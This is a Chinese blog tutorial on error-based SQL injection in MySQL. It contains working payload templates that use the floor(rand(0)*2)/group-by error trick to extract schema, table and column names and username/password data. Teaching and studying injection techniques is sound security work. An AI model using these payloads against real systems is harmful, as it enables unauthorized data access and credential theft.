SQL注入之报错型注入

介绍

联合查询可以把我们想要的数据展示在网页上,替代网页上原有的数据内容;而今天我们要讨论的是,网页上没有展示查询结果的地方,也就是说select语句执行结果不能出现在网页上,我们需要让执行结果出现在其它地方,出现在哪呢?出现在报错语句中。
数据库返回到页面上的唯一信息就是,mysql错误。因此,我们需要以一种方式处理我们的查询,以便通过错误获取数据库信息。查询条件必须是正确的,能被后端数据库解释执行,且需产生一个逻辑错误,让数据库信息伴随错误字符串返回。

前提

知识点:

  • 子查询
  • information_schema
  • 衍生表

注释

mysql的注释有4 种:

  1. ‘#’:# 开头到行尾的都为注释,只能注释一行。

  2. ‘– ‘(2个减号 一个空格):-开头到行尾都为注释 , 只能注释一行。

  3. ‘/xxx /’:可以注释多行,但是一定要闭合,不然出错。

  4. ‘/!xxx/’:可以跨行注释,但是一定要闭合,不然出错。

流程

公式

and (select 1 from (select count(*),concat((select(select(报错语句))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

数据库

and (select 1 from (select count(*),concat((select(select(select group_concat(schema_name) from information_schema.schemata))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

and (select 1 from (select count(*),concat((select(select(select group_concat(table_name) from information_schema.tables where table_schema=database()))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

字段

and (select 1 from (select count(*),concat((select(select(select group_concat(column_name) from information_schema.columns where table_name=十六进制))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

数据

and (select 1 from (select count(*),concat((select(select(select distinct concat(username,password) from xxx limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

and (select 1 from (select count(*),concat((select(select(select distinct concat(‘~’,table_schema) from information_schema.tables limit 7,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

http://blog.csdn.net/nixawk/article/details/27804385
https://www.2cto.com/article/201604/498394.html
http://www.jianshu.com/p/8c2343705100
http://www.cnblogs.com/wocalieshenmegui/p/5917967.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值